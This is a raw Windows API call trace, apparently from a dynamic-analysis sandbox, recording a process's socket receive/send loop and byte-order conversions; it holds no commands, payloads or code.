[0119.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.517] WSASetLastError (iError=0) [0119.517] recv (in: s=0x1d4, buf=0x866566, len=234, flags=0 | out: buf=0x866566*) returned 234 [0119.517] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.517] rand () returned 5537 [0119.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.517] WSASetLastError (iError=0) [0119.517] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.517] SetLastError (dwErrCode=0x0) [0119.518] WSASetLastError (iError=0) [0119.518] recv (in: s=0x1d4, buf=0x865668, len=280, flags=0 | out: buf=0x865668*) returned 280 [0119.518] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.518] rand () returned 21538 [0119.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.518] WSASetLastError (iError=0) [0119.518] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] WSASetLastError (iError=0) [0119.518] recv (in: s=0x1d4, buf=0x865668, len=3816, flags=0 | out: buf=0x865668*) returned 3816 [0119.518] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.518] rand () returned 16118 [0119.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.518] WSASetLastError (iError=0) [0119.518] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] WSASetLastError (iError=0) [0119.518] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 11 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] WSASetLastError (iError=0) [0119.518] recv (in: s=0x1d4, buf=0x865673, len=4061, flags=0 | out: buf=0x865673*) returned 1452 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] WSASetLastError (iError=0) [0119.518] recv (in: s=0x1d4, buf=0x865c1f, len=2609, flags=0 | out: buf=0x865c1f) returned -1 [0119.518] WSAGetLastError () returned 10035 [0119.518] GetCurrentThreadId () returned 0x918 [0119.518] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.520] rand () returned 2082 [0119.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.521] WSASetLastError (iError=0) [0119.521] recv (in: s=0x1d4, buf=0x865c1f, len=2609, flags=0 | out: buf=0x865c1f*) returned 2609 [0119.521] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.521] rand () returned 22929 [0119.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.521] WSASetLastError (iError=0) [0119.521] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.521] SetLastError (dwErrCode=0x0) [0119.521] WSASetLastError (iError=0) [0119.521] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.522] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.522] rand () returned 16541 [0119.522] rand () returned 4833 [0119.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.522] WSASetLastError (iError=0) [0119.522] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.522] SetLastError (dwErrCode=0x0) [0119.522] WSASetLastError (iError=0) [0119.522] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3473 [0119.522] SetLastError (dwErrCode=0x0) [0119.522] WSASetLastError (iError=0) [0119.522] recv (in: s=0x1d4, buf=0x8663f9, len=599, flags=0 | out: buf=0x8663f9) returned -1 [0119.522] WSAGetLastError () returned 10035 [0119.522] GetCurrentThreadId () returned 0x918 [0119.522] WSASetLastError (iError=0) [0119.522] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.522] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.524] rand () returned 31115 [0119.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.524] WSASetLastError (iError=0) [0119.524] recv (in: s=0x1d4, buf=0x8663f9, len=599, flags=0 | out: buf=0x8663f9*) returned 599 [0119.524] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.524] rand () returned 4639 [0119.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.524] WSASetLastError (iError=0) [0119.524] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.524] SetLastError (dwErrCode=0x0) [0119.524] WSASetLastError (iError=0) [0119.524] recv (in: s=0x1d4, buf=0x865668, len=536, flags=0 | out: buf=0x865668*) returned 536 [0119.524] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.524] rand () returned 29658 [0119.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.524] WSASetLastError (iError=0) [0119.524] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.524] SetLastError (dwErrCode=0x0) [0119.524] WSASetLastError (iError=0) [0119.524] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1759 [0119.524] SetLastError (dwErrCode=0x0) [0119.524] WSASetLastError (iError=0) [0119.524] recv (in: s=0x1d4, buf=0x865d47, len=2313, flags=0 | out: buf=0x865d47) returned -1 [0119.524] WSAGetLastError () returned 10035 [0119.524] GetCurrentThreadId () returned 0x918 [0119.524] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.528] rand () returned 22704 [0119.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.528] WSASetLastError (iError=0) [0119.528] recv (in: s=0x1d4, buf=0x865d47, len=2313, flags=0 | out: buf=0x865d47*) returned 2313 [0119.528] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.528] rand () returned 9930 [0119.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.528] WSASetLastError (iError=0) [0119.528] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.528] SetLastError (dwErrCode=0x0) [0119.528] WSASetLastError (iError=0) [0119.528] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 2038 [0119.528] SetLastError (dwErrCode=0x0) [0119.528] WSASetLastError (iError=0) [0119.528] recv (in: s=0x1d4, buf=0x865e5e, len=2034, flags=0 | out: buf=0x865e5e) returned -1 [0119.528] WSAGetLastError () returned 10035 [0119.528] GetCurrentThreadId () returned 0x918 [0119.528] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.528] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.529] rand () returned 13977 [0119.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.529] WSASetLastError (iError=0) [0119.529] recv (in: s=0x1d4, buf=0x865e5e, len=2034, flags=0 | out: buf=0x865e5e*) returned 1452 [0119.529] SetLastError (dwErrCode=0x0) [0119.529] WSASetLastError (iError=0) [0119.529] recv (in: s=0x1d4, buf=0x86640a, len=582, flags=0 | out: buf=0x86640a) returned -1 [0119.529] WSAGetLastError () returned 10035 [0119.529] GetCurrentThreadId () returned 0x918 [0119.529] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.529] rand () returned 2306 [0119.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.529] WSASetLastError (iError=0) [0119.529] recv (in: s=0x1d4, buf=0x86640a, len=582, flags=0 | out: buf=0x86640a*) returned 582 [0119.529] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.529] rand () returned 31673 [0119.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.530] WSASetLastError (iError=0) [0119.530] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.530] SetLastError (dwErrCode=0x0) [0119.530] WSASetLastError (iError=0) [0119.530] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.530] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.530] rand () returned 22386 [0119.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.530] WSASetLastError (iError=0) [0119.530] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.530] SetLastError (dwErrCode=0x0) [0119.530] WSASetLastError (iError=0) [0119.530] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 2596 [0119.530] SetLastError (dwErrCode=0x0) [0119.530] WSASetLastError (iError=0) [0119.530] recv (in: s=0x1d4, buf=0x86608c, len=1476, flags=0 | out: buf=0x86608c) returned -1 [0119.530] WSAGetLastError () returned 10035 [0119.530] GetCurrentThreadId () returned 0x918 [0119.530] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.531] rand () returned 5021 [0119.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.531] WSASetLastError (iError=0) [0119.531] recv (in: s=0x1d4, buf=0x86608c, len=1476, flags=0 | out: buf=0x86608c*) returned 1476 [0119.531] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.531] rand () returned 28745 [0119.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.531] WSASetLastError (iError=0) [0119.531] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.531] SetLastError (dwErrCode=0x0) [0119.531] WSASetLastError (iError=0) [0119.531] recv (in: s=0x1d4, buf=0x865668, len=280, flags=0 | out: buf=0x865668*) returned 280 [0119.531] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.531] rand () returned 26924 [0119.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc1ed30, dwHighDateTime=0x1d31ac1)) [0119.531] WSASetLastError (iError=0) [0119.531] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.531] SetLastError (dwErrCode=0x0) [0119.531] WSASetLastError (iError=0) [0119.531] recv (in: s=0x1d4, buf=0x865668, len=3816, flags=0 | out: buf=0x865668*) returned 1138 [0119.531] SetLastError (dwErrCode=0x0) [0119.531] WSASetLastError (iError=0) [0119.531] recv (in: s=0x1d4, buf=0x865ada, len=2678, flags=0 | out: buf=0x865ada*) returned 1452 [0119.531] SetLastError (dwErrCode=0x0) [0119.532] WSASetLastError (iError=0) [0119.532] recv (in: s=0x1d4, buf=0x866086, len=1226, flags=0 | out: buf=0x866086*) returned 1226 [0119.532] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.532] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.532] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.532] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.532] htons (hostshort=0x3393) returned 0x9333 [0119.532] htons (hostshort=0xf201) returned 0x1f2 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.532] htons (hostshort=0x3393) returned 0x9333 [0119.532] htons (hostshort=0xf201) returned 0x1f2 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.532] htons (hostshort=0x9333) returned 0x3393 [0119.532] htons (hostshort=0x1f2) returned 0xf201 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.532] htons (hostshort=0x3393) returned 0x9333 [0119.532] htons (hostshort=0xf201) returned 0x1f2 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.532] htons (hostshort=0x3393) returned 0x9333 [0119.532] htons (hostshort=0xf201) returned 0x1f2 [0119.532] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.532] htons (hostshort=0x3393) returned 0x9333 [0119.532] htons (hostshort=0xf201) returned 0x1f2 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.532] htons (hostshort=0x3393) returned 0x9333 [0119.532] htons (hostshort=0xf201) returned 0x1f2 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.532] htons (hostshort=0x9333) returned 0x3393 [0119.532] htons (hostshort=0x1f2) returned 0xf201 [0119.532] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x3393) returned 0x9333 [0119.533] htons (hostshort=0xf201) returned 0x1f2 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x3393) returned 0x9333 [0119.533] htons (hostshort=0xf201) returned 0x1f2 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x9333) returned 0x3393 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x3393) returned 0x9333 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x9333) returned 0x3393 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.533] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x3393) returned 0x9333 [0119.533] htons (hostshort=0xf201) returned 0x1f2 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x3393) returned 0x9333 [0119.533] htons (hostshort=0xf201) returned 0x1f2 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x9333) returned 0x3393 [0119.533] htons (hostshort=0x1f2) returned 0xf201 [0119.533] htons (hostshort=0x0) returned 0x0 [0119.533] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x9333) returned 0x3393 [0119.534] htons (hostshort=0x1f2) returned 0xf201 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x9333) returned 0x3393 [0119.534] htons (hostshort=0x1f2) returned 0xf201 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.534] htons (hostshort=0x0) returned 0x0 [0119.534] htons (hostshort=0x3393) returned 0x9333 [0119.534] htons (hostshort=0xf201) returned 0x1f2 [0119.535] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x3393) returned 0x9333 [0119.535] htons (hostshort=0xf201) returned 0x1f2 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x3393) returned 0x9333 [0119.535] htons (hostshort=0xf201) returned 0x1f2 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x9333) returned 0x3393 [0119.535] htons (hostshort=0x1f2) returned 0xf201 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x3393) returned 0x9333 [0119.535] htons (hostshort=0xf201) returned 0x1f2 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x3393) returned 0x9333 [0119.535] htons (hostshort=0xf201) returned 0x1f2 [0119.535] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x3393) returned 0x9333 [0119.535] htons (hostshort=0xf201) returned 0x1f2 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x3393) returned 0x9333 [0119.535] htons (hostshort=0xf201) returned 0x1f2 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x9333) returned 0x3393 [0119.535] htons (hostshort=0x1f2) returned 0xf201 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x3393) returned 0x9333 [0119.535] htons (hostshort=0xf201) returned 0x1f2 [0119.535] htons (hostshort=0x0) returned 0x0 [0119.535] htons (hostshort=0x3393) returned 0x9333 [0119.535] htons (hostshort=0xf201) returned 0x1f2 [0119.536] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.536] rand () returned 19072 [0119.536] rand () returned 6270 [0119.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc44e90, dwHighDateTime=0x1d31ac1)) [0119.536] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.536] GetCurrentThreadId () returned 0x918 [0119.536] WSASetLastError (iError=0) [0119.536] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.536] SetLastError (dwErrCode=0x0) [0119.536] WSASetLastError (iError=0) [0119.536] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.536] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.536] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.536] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.536] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.536] htons (hostshort=0x0) returned 0x0 [0119.536] htons (hostshort=0x3393) returned 0x9333 [0119.536] htons (hostshort=0xf201) returned 0x1f2 [0119.536] htons (hostshort=0x0) returned 0x0 [0119.536] htons (hostshort=0x3393) returned 0x9333 [0119.536] htons (hostshort=0xf201) returned 0x1f2 [0119.536] htons (hostshort=0x0) returned 0x0 [0119.536] htons (hostshort=0x9333) returned 0x3393 [0119.536] htons (hostshort=0x1f2) returned 0xf201 [0119.536] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x9333) returned 0x3393 [0119.537] htons (hostshort=0x1f2) returned 0xf201 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x9333) returned 0x3393 [0119.537] htons (hostshort=0x1f2) returned 0xf201 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htons (hostshort=0x0) returned 0x0 [0119.537] htons (hostshort=0x3393) returned 0x9333 [0119.537] htons (hostshort=0xf201) returned 0x1f2 [0119.537] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x9333) returned 0x3393 [0119.538] htons (hostshort=0x1f2) returned 0xf201 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.538] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x9333) returned 0x3393 [0119.538] htons (hostshort=0x1f2) returned 0xf201 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.538] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.538] htons (hostshort=0x0) returned 0x0 [0119.538] htons (hostshort=0x3393) returned 0x9333 [0119.538] htons (hostshort=0xf201) returned 0x1f2 [0119.539] htons (hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x3393) returned 0x9333 [0119.539] htons (hostshort=0xf201) returned 0x1f2 [0119.539] htons (hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x9333) returned 0x3393 [0119.539] htons (hostshort=0x1f2) returned 0xf201 [0119.539] htons (hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x3393) returned 0x9333 [0119.539] htons (hostshort=0xf201) returned 0x1f2 [0119.539] htons (hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x3393) returned 0x9333 [0119.539] htons (hostshort=0xf201) returned 0x1f2 [0119.539] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.539] htons (hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x3393) returned 0x9333 [0119.539] htons (hostshort=0xc001) returned 0x1c0 [0119.539] htons (hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x3393) returned 0x9333 [0119.539] htons (hostshort=0xc001) returned 0x1c0 [0119.539] htons (hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x9333) returned 0x3393 [0119.539] htons (hostshort=0x1c0) returned 0xc001 [0119.539] htons 